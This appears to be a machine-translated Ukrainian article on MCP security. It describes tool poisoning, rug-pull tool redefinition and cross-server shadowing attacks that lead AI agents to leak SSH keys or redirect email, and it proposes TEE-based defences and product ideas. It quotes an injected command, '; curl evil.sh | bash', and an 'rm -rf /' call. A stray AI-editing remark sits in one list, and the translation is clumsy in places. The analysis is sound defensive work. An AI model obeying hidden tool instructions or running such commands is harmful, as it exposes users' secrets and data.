MCP небезпечний — причини та ідеї!?

Основні проблеми безпеки MCP

Tool Poisoning Attacks: Однією з найбільш тривожних нещодавно виявлених атак на MCP є отруєння інструментом. Це спеціалізована форма швидкого впровадження, де зловмисні інструкції приховані в описі інструменту MCP — невидимі для користувача, але зчитуються та виконуються моделлю ШІ (Протокол контексту моделі має проблеми з безпекою оперативного впровадження) (Сповіщення про безпеку MCP: атаки з отруєнням інструментів).

• Invariant Labs нещодавно продемонструвала, як начебто нешкідливий інструмент (наприклад, додати add(a, b)математична функція) може містити секретні інструкції (в теги), через які агент AI витікає конфіденційні файли, як-от ключі SSH або конфігураційні дані (The “S” in MCP Stands for Security, автор Олена Кросс, квітень 2025).
• Оскільки поточні агенти MCP (наприклад, Cursor, Claude) можуть «сліпо слідувати» прихованим директивам, користувач може подумати, що він просто додає 2 + 2, поки агент мовчки викрадає їхні секрети. Коротше кажучи, якщо метадані інструменту створено зловмисно, штучний інтелект стає заплутаним помічником — він сумлінно виконуватиме приховані накази, які викрадають дані або виконують несанкціоновані дії. Це порушує припущення про те, що модель може повністю довіряти визначенням інструментів.

Перевизначення інструменту «Rug Pull»: Інструменти MCP можуть динамічно змінюватися після встановлення, дозволяючи a тяга назад сценарій. Як каже Олена Кросс, «Ви схвалюєте безпечний інструмент у день 1, а на день 7 він тихо перенаправляє ваші API-ключі зловмиснику». Іншими словами, інструмент, який спочатку був безпечним, може мовчки змінити свій код або опис, щоб стати шкідливим у майбутньому оновленні, не помітивши користувача.

• Конструкція MCP (де клієнти отримують визначення інструментів із серверів) не має вбудованої перевірки цілісності або механізму підпису для виявлення такого втручання. Це аналогічно атаці на ланцюжок поставок програмного забезпечення: так само, як пакет PyPI може бути зламаний або оновлений за допомогою зловмисного програмного забезпечення, сервер MCP, якому ви довіряєте, може згодом обслуговувати змінені визначення інструментів, що містять бекдори.
• Поточні клієнти MCP не сповіщають користувачів про зміну визначення інструменту, тому зловмисник, який контролює раніше довірений сервер, може «витягнути килимок» з-під користувача, вставивши нові приховані інструкції чи зловмисну ​​логіку після початкового схвалення (У публікації висвітлюється та цитується кілька сценаріїв атак, які ми спочатку описали в … Хакерські новини). Ця загроза тихого перевизначення підриває довіру до постійних сеансів агента.

Міжсерверне затінення інструментів: Якщо агент штучного інтелекту підключений до кількох серверів MCP (загальний сценарій, коли користувачі змішують інструменти), зловмисний сервер може бути “тінню” або замінити інструменти іншого. Invariant Labs показали, що один сервер може вставляти інструкції, які викрадають, як агент використовує інструмент іншого сервера.

• Наприклад, шахрайський сервер може зареєструвати фальшивий інструмент «доповнення», який таємно змінює поведінку довіреного інструменту надсилання електронної пошти, наданого іншим сервером — наприклад, примусово надсилати всі електронні листи на адресу зловмисника, вдаючи користувачеві, що все нормально. Оскільки агент об’єднує всі описи інструментів у свій контекст, LLM бачить зловмисні інструкції разом із законними і не може визначити, яким «правилам» довіряти. Це крос-серверне тінізацію засоби «зловмисник може ігнорувати або перехоплювати дзвінки, зроблені довіреному» .
• Результатом є повний компроміс: сервер MCP зловмисника може використати можливості іншого (наприклад, доступ до Gmail або бази даних користувача), обманом змусивши агента зловживати цими можливостями. Примітно, що ці тіньові атаки часто не відображаються в журналах користувачів — може здатися, що агент викликає лише довірені інструменти, а насправді виконує приховані вказівки зловмисника. Це дуже ускладнює виявлення та підвищує серйозність загрози.

Інші вразливості: На додаток до зазначених вище нових атак, MCP успадковує класичні проблеми безпеки:

• Введення команд і RCE: Багато реалізацій сервера MCP мають небезпечний код. Дослідники виявили «понад 43% протестованих серверів MCP мали небезпечні виклики оболонки», тобто зловмисник може передати такий параметр, як "; curl evil.sh | bash"для виконання довільного коду. Такі вразливості перетворюють агент ШІ на потенційний інструмент дистанційного виконання для хакерів.
• Крадіжка токенів і захоплення облікового запису: Сервери MCP часто зберігають маркери автентифікації для служб (електронна пошта, хмарні API). Якщо зловмисник скомпрометує сервер або захопить токени OAuth, він може видати себе за користувача в цих службах без виявлення. Викрадені маркери, які використовуються через виклики MCP, можуть не викликати звичайні сповіщення безпеки, оскільки вони виглядають як звичайне використання API.
• Надто широкі дозволи: Сервери MCP зазвичай вимагають дуже широких областей доступу для гнучкого функціонування, агрегуючи багато потужностей в одному місці. Цей підхід «ключі до королівства» означає, що якщо будь-яка частина агента чи сервера скомпрометована, зловмисник може отримати доступ до електронних листів, файлів, календарів тощо одночасно.
• Відсутність видимості користувача: Користувачі не бачать повних внутрішніх підказок або інструкцій інструментів, які бачить LLM. Ця відсутність прозорості дозволяє атакам, таким як отруєння інструментів і затінення, приховуватися на видноті (у контексті моделі), тоді як інтерфейс користувача не показує нічого підозрілого.

Основні причини: По суті, MCP є не захищено за умовчанням . Протокол був розроблений для гнучкості та простоти інтеграції, а не для безпеки. Є:

• Немає стандартної автентифікації чи довірчого рукостискання між клієнтами та серверами (будь-який сервер може зареєструвати та представити інструменти без криптографічної ідентифікації чи підпису коду).
• За замовчуванням контекст не шифрується (описи інструментів і дані передаються відкрито через локальну мережу або IPC, підлягаючи підслухуванню або втручанню, якщо зловмисник знаходиться на каналі).
• Немає перевірки цілісності визначень інструментів (Агент не може визначити, чи код/опис інструменту було змінено, чи він справді походить із надійного джерела).
• Неявна довіра до LLM для безпечного посередництва всіх цих взаємодій, тоді як насправді LLM буде сумлінно слідувати будь-якій достатньо переконливій інструкції — роблячи їх уразливими до сценарію «розгублений наслідок» .

Підсумовуючи, MCP представляє широке нове середовище для потенційних атак: він поєднує потужні дії (наприклад, доступ до файлів, надсилання електронної пошти) з контекстом, яким можуть маніпулювати ненадійні сторони. Нещодавні дослідження підкреслили, що без додаткових заходів безпеки агенти штучного інтелекту на базі MCP можуть спричиняти витік даних, виконувати команди зловмисників або зазнавати підробки своїх інструментів таким чином, що ані користувач, ані платформа не зможуть відразу це виявити. Це є критичними проблемами безпеки, які необхідно вирішити для забезпечення життєздатності MCP у середовищах, де безпека має першочергове значення.

Платформа нульової довіри для захисту MCP

Враховуючи зазначені вище загрози, зростає консенсус щодо того, що нам потрібно зміцнити екосистему MCP. Одним із багатообіцяючих підходів є використання важелів довірені середовища виконання (TEE) — безпечні анклави, які можуть запускати код ізольовано від хост-системи. TEE (наприклад, Intel SGX, AMD SEV або AWS Nitro Enclave) забезпечують дві ключові властивості: цілісність (запущений код може бути перевірений криптографічно та не може бути підроблений зловмисною ОС або хмарним постачальником) і конфіденційність (дані, оброблені всередині анклаву, зашифровані в пам’яті та невидимі для хоста). Застосування технології TEE до MCP може пом’якшити кілька вразливостей на різних рівнях:

• Зміцнення серверів MCP за допомогою анклавів: сьогодні, якщо ви запустите сервер MCP (який зберігає конфіденційні токени та виконує код інструменту) на вашому комп’ютері чи хмарному екземплярі, компрометація системи або внутрішня загроза можуть його захопити.
• Запуск серверів MCP всередині TEE може значно зменшити цей ризик. Навіть якщо базову ОС зламано, зловмисник не може безпосередньо прочитати пам’ять всередині анклаву, щоб викрасти маркери OAuth або секретні дані (безпека корпоративного рівня для модельного контекстного протоколу (MCP): рамки та стратегії пом’якшення) . Крім того, код сервера та визначення інструментів можна виміряти (через криптографічний хеш) під час запуску; будь-які наступні несанкціоновані зміни призведуть до порушення атестації анклаву. Це могло б ефективно запобігти “висмукування килиму”: якщо сервер MCP намагається завантажити змінене визначення інструменту, його вимірювання змінюється, і він більше не вироблятиме дійсну атестацію, якій довіряють клієнти. На практиці безпечна платформа хостингу MCP могла б «перевірте звіт про атестацію сервера MCP перед тим, як [клієнт] його використає» (Розкриття потенціалу штучного інтелекту: запустіть свій сервер MCP із підтримкою TEE на нашій новій платформі хостингу MCP). Це означає, що агент може криптографічно підтвердити, що він спілкується з непідробленим сервером, на якому працює завідомо безпечна версія коду. Такі компанії, як Phala, вже створюють послуги «MCP Hosting». Безпека з підтримкою TEE, дозволяючи розробникам розгортати сервери MCP в анклавах і забезпечуючи перевірку атестації з коробки. Такий підхід створює a корінь довіри для серверів MCP, усуваючи прогалину в автентифікації сервера та цілісності коду.
• Атестація та довіра на рівні протоколу: Сам протокол MCP може розвинутися, щоб включити етап атестації або підписання під час підключення до сервера. Уявіть собі клієнта MCP, який приймає лише описи інструментів від серверів, які представляють дійсну атестацію анклаву або цифровий підпис від довіреного органу. Увімкнення TEE “дистанційна атестація”, де сервер надає сертифікат, який доводить, що він працює в справжньому TEE з певним хешем коду. Включаючи це в рукостискання MCP, ми встановлюємо a поза нульової довіри: клієнт за замовчуванням не довіряє інструменту — він перевіряє це. Це зменшує ризик підключення до зловмисних сторонніх серверів (наразі «без стандарту автентифікації» означає, що це дикий захід. Завдяки довірі на основі атестації, навіть якщо MCP-сервером керує хтось інший (наприклад, хмарна служба чи постачальник спільноти), користувач може бути впевнений у його ідентичності та цілісності. Це також може завадити крос-серверне тінізацію певною мірою: якщо контекстний блок кожного сервера був підписаний або атрибутований, клієнт/LLM міг би потенційно розрізняти інструкції ізольованого програмного середовища для кожного сервера. (Це відкрита дослідницька зона — певна форма тегування метаданих або криптографічна ізоляція може знадобитися сегментів підказок, щоб інструкції одного інструменту не могли замінити інструкції іншого, якщо це явно не дозволено.)
• Конфіденційний контекст і обробка даних: TEE можуть захистити не лише код, але й даних протікає через MCP. Наприклад, припустімо, що серверу MCP потрібно обробити конфіденційний документ, щоб відповісти на запит. Усередині TEE цей документ можна обробляти (резюмувати, шукати тощо), не відкриваючи його хосту чи мережі у вигляді відкритого тексту. Навіть запити моделі AI та відповіді на інструмент можуть бути зашифровані між клієнтом MCP і анклавом сервера. Це вирішує проблему «без контекстного шифрування» шляхом встановлення безпечного каналу (наприклад, TLS з ключами на основі анклаву), щоб будь-який проміжний перехоплювач бачив лише зашифровану тарабарщину. Крім того, зберігаючи конфіденційний контекст в анклаві, ми зменшуємо вплив швидкі ін’єкції: навіть якщо зловмисник обманом змусив ШІ запитувати конфіденційну інформацію, анклав може вимагати належної автентифікації або правил перед оприлюдненням даних. Сервер MCP на основі TEE може, наприклад, примусово «дозволяти інструментам доступу до файлів лише читати файли з певного каталогу або після підтвердження користувача», і оскільки він знаходиться в TEE, зловмисне програмне забезпечення на хості не може перевизначити цю перевірку. Такого роду детальне застосування політики можна запікати в код анклаву.
• Захист агента на стороні клієнта: Хоча основна увага приділяється серверам, клієнт/хост (де працює агент LLM) також може отримати користь від TEE у деяких сценаріях. Для корпоративних розгортань можна запустити весь агент AI (клієнт MCP плюс механізм висновків LLM) у TEE у захищеній хмарі, особливо якщо сам LLM є власністю. Це забезпечить конфіденційність контексту розмови та будь-яких результатів інструментів. Що стосується безпеки, анклав на стороні клієнта може суворо визначати, які дії дозволено виконувати ШІ. Наприклад, агент, керований анклавом, може мати вбудований «охоронець політики», який перехоплює будь-які дії, які штучний інтелект намагається виконати через MCP, і перевіряє їх на відповідність політиці безпеки (подібно до пісочниці контейнера). Якщо LLM було скомпрометовано через швидку ін’єкцію для видалення всіх файлів, охоронець в анклаві може відмовитися від цієї дії. Розробити це нетривіально (це фактично означає правила кодування для дозволених дій), але в середовищах із високим рівнем безпеки може знадобитися, щоб обидва агент і інструменти працюють у спільних анклавах і обмінюються лише перевіреними командами. Це схоже на a оборона в глибину підхід: навіть якщо штучний інтелект обдурити, інший рівень може вловити найбільш кричущі команди.
• Постійність і аудит: TEE може створювати безпечні журнали аудиту. TEE може підписувати кожну дію чи виклик інструменту, які він виконує, створюючи журнал, що захищає від несанкціонованого доступу, що фактично зробив агент або що йому було доручено зробити. Це може бути неоціненним для виявлення постфактум, якщо інструмент використовувався неправильно або якщо виконувалася прихована інструкція. Наприклад, якщо агент надсилає електронний лист або читає файл, анклав може зареєструвати зведення (все ще захищене), яке пізніше може бути проаналізовано групами безпеки. У поєднанні із зовнішньою службою моніторингу це забезпечує підзвітність, якої зараз немає (де агент може робити щось «тихо»). Це також допомагає зміцнити довіру користувачів і підприємств — вони можуть це підтвердити тільки виконано затверджені операції.

Важливо зазначити, що ТEЕ не є панацеєю. Він захищає від зловмисного або цікавого господаря, але вони не робити код всередині них автоматично вільним від помилок. Таким чином, анклавний сервер MCP з уразливістю RCE у його коді все ще може бути примушений зловмисником до неприємних дій — анклав не завадить серверу запускати os.system("rm -rf /")якщо спрацьовує кодовий шлях. Подібним чином TEE не вирішать магічним чином фундаментальне обмеження LLM, пов’язане з незнанням, яким інструкціям довіряти. Що він робить забезпечують міцнішу основу безпеки: ми можемо забезпечити, щоб код, який ми написали, відповідав саме тому, що працює (цілісність), і щоб сторонні особи (навіть із адміністраторами root на машині або хмарою) не могли стежити за його роботою або втручатися в нього (конфіденційність). Ця основа забезпечує заходи безпеки вищого рівня, наприклад підписання коду, закріплення версії та застосування політики — бути надійним на практиці. По суті, TEE дозволяють нам рухати MCP до a Архітектура нульової довіри, де ніщо не вважається безпечним лише тому, що воно «локальне» або «надійшло з нашої машини». Натомість кожен компонент має довести себе.

Ідеї ​​продуктів для MCP Security

Поточні прогалини в безпеці MCP представляють a величезні можливості для стартапів інфраструктури ШІ і засновники глибоких технологій. Подібно до того, як розвиток веб-додатків призвів до індустрії інструментів веб-безпеки, розвиток агентів ШІ та MCP вимагатиме нових рішень безпеки. Основні можливості продукту та незадоволені потреби включають:

• Ось відредагований текст зі збереженим оригінальним форматом. Я виправив стилістичні помилки, покращив читабельність і в деяких місцях переформулював речення для кращої ясності, не змінюючи зміст:
• Надійні платформи хостингу сервера MCP: Існує потреба в безпечних послугах хостингу, де розробники могли б впевнено розгортати сервери MCP (для баз даних, електронної пошти, інструментів CRM тощо). Продукт у цьому просторі може запропонувати розгортання популярних інтеграцій MCP одним кліком у середовищі TEE на хмарній інфраструктурі. Сервіс бере на себе всю важку роботу: налаштування анклавів, застосування оновлень ОС і надання сертифіката атестації. Кінцевий користувач (або підприємство) отримує інформаційну панель, яка демонструє, що кожен з їхніх роз’ємів MCP є «заблокованим» і перевіреним. Це аналогічно хмарним провайдерам, які пропонують HSM або секретні менеджери — тут це «з’єднувач безпечного агента» як послуга. Така платформа може стягувати плату за зручність і гарантії безпеки. Приклад: Прототип хостингової служби MCP від Phala Network, яка дозволяє запускати сервер MCP із підтримкою TEE та перевірити його атестацію перед використанням, натякає на цю модель. Стартап міг би розширити цю ідею до ширшого спектру корпоративних конекторів і, можливо, інтегрувати її з існуючими фреймворками агентів (щоб, наприклад, компанія зі списку Fortune 500 могла запускати агента ШІ з доступом до Salesforce і внутрішньої бази даних через анклавні сервери MCP).
• MCP Security Broker / Firewall: Інша можлива ідея продукту — MCP-брандмауер, який виступає посередником між агентами ШІ та серверами MCP. Це може бути точка забезпечення дотримання політик і фільтрації. Наприклад, він може перехоплювати описи інструментів під час їхнього завантаження та видаляти або позначати підозрілі інструкції (наприклад, розділи <IMPORTANT> або надмірно довгі описи). Він також може впровадити контроль доступу на основі ролей: наприклад, заборонити агенту використовувати певні інструменти з високим ризиком без погодження людиною. Такий брокер може бути реалізований як проксі-сервер, який підприємства запускають локально — можливо, у контейнерах або в TEE для підвищення довіри. З часом подібний брокер безпеки може навіть використовувати машинне навчання для виявлення аномальної поведінки агента (як було запропоновано в деяких дослідженнях). Тут можна провести аналогію з API-шлюзами або веб-брандмауерами в традиційних додатках. Оскільки агенти ШІ діють від імені користувача, компаніям знадобиться «привратник», який контролює ці дії.
• Конфіденційна пісочниця AI для підприємств: Для надзвичайно чутливих операцій можна уявити захищене ізольоване середовище, де агент ШІ (LLM + MCP) може бути розгорнутий для роботи з конфіденційними даними (фінансовими записами, медичною інформацією) з доведеним рівнем безпеки. Цей продукт використовує TEE та безпечні мережеві канали, щоб гарантувати, що дані ніколи не залишають довірене середовище в незашифрованому вигляді, а всі дії агента контролюються. По суті, це «захищений пристрій ШІ», який може бути апаратним (локальне обладнання з анклавами) або віртуальним (хмарний екземпляр із повним шифруванням пам’яті). Підприємства з високими вимогами (банківська справа, охорона здоров’я) можуть бути готові платити преміальну ціну за помічника ШІ, якого можна безпечно підключити до внутрішніх систем з апаратними гарантіями захисту від витоку чи несанкціонованого коду. Це перетинається з пропозиціями конфіденційних обчислень від хмарних провайдерів, але спеціалізується на робочих процесах агентів ШІ. Функціональність може включати журнали аудиту, сповіщення в реальному часі (наприклад, якщо агент намагається прочитати незвичайний файл або надіслати дані на зовнішню адресу), а також легку інтеграцію з системами управління ідентифікацією (для контролю, хто має право ініціювати певні дії агента).
• Інструменти розробника та SDK для Secure MCP: Також існує можливість створення бібліотек або фреймворків для спрощення розробки безпечних MCP-рішень. Наприклад, SDK, який автоматично обробляє перевірку введення, фільтрує команди оболонки й забезпечує безпечне виконання коду інструменту. Або набір тестів (на кшталт «Проклятий вразливий MCP-сервер» — аналог DVWA у веб-безпеці), які розробники можуть запускати, щоб перевірити вразливості своїх інструментів (ін’єкція команд, швидка ін’єкція тощо). Випуск MCP-сканера від Invariant Labs — це вже крок у цьому напрямку: він аналізує сервери MCP і позначає ризиковані шаблони. Стартап може створити повноцінний набір інструментів DevSecOps для агентів ШІ: лінтери для виявлення небезпечних підказок, моніторингові агенти під час розробки тощо. Хоча ці інструменти не настільки ефектні, як анклави, вони задовольняють актуальну потребу, враховуючи, як швидко розробники створюють (і іноді ламають) MCP-плагіни. Згодом це може перерости у програму сертифікації («MCP Secure Certified»).
• Розширення протоколу та стандарти: Хоча це не класичний продукт, існує можливість для технічно підкованих засновників запровадити нові стандарти безпеки безпосередньо в протоколі MCP. Це може включати підписані маніфести інструментів, зашифровані сесії або обмін «можливостями безпеки». Підприємець може створити open-source розширення або обгортку навколо референсної реалізації MCP, яка додає ці функції, а потім запропонувати корпоративну підтримку. Це нагадує модель Red Hat: посилення відкритого стандарту та надання підтримуваного дистрибутиву. Якщо MCP стане таким поширеним, як HTTP для ШІ, то бути на передньому краї його безпеки стане надзвичайно цінним (і привабливим для інвесторів, які шукають «кирки та лопати» у золотій лихоманці ШІ).
• У всіх цих випадках TEE виступає мультиплікатором безпеки. Він дозволяє продуктам гарантувати рівень захисту, який недосяжний для чисто програмних рішень. Наприклад, хостингова служба MCP із використанням TEE може обіцяти, що навіть адміністратори хмарної інфраструктури не зможуть переглянути ваші дані або змінити ваші інструменти — потужна перевага. Поєднання MCP + TEE часто просувається як основа для гасла «Штучний інтелект не тільки розумний, а й безпечний». Тут явно існує незадоволена потреба: перші користувачі MCP (розробники, стартапи) ще можуть приймати ризики, але великі підприємства та регульовані галузі вимагатимуть реальних гарантій безпеки, перш ніж масштабно впроваджувати агентів ШІ.

*Оригінал статті*

Twitter Українською Discord Telegram

Twitter eng Youtube Github Forum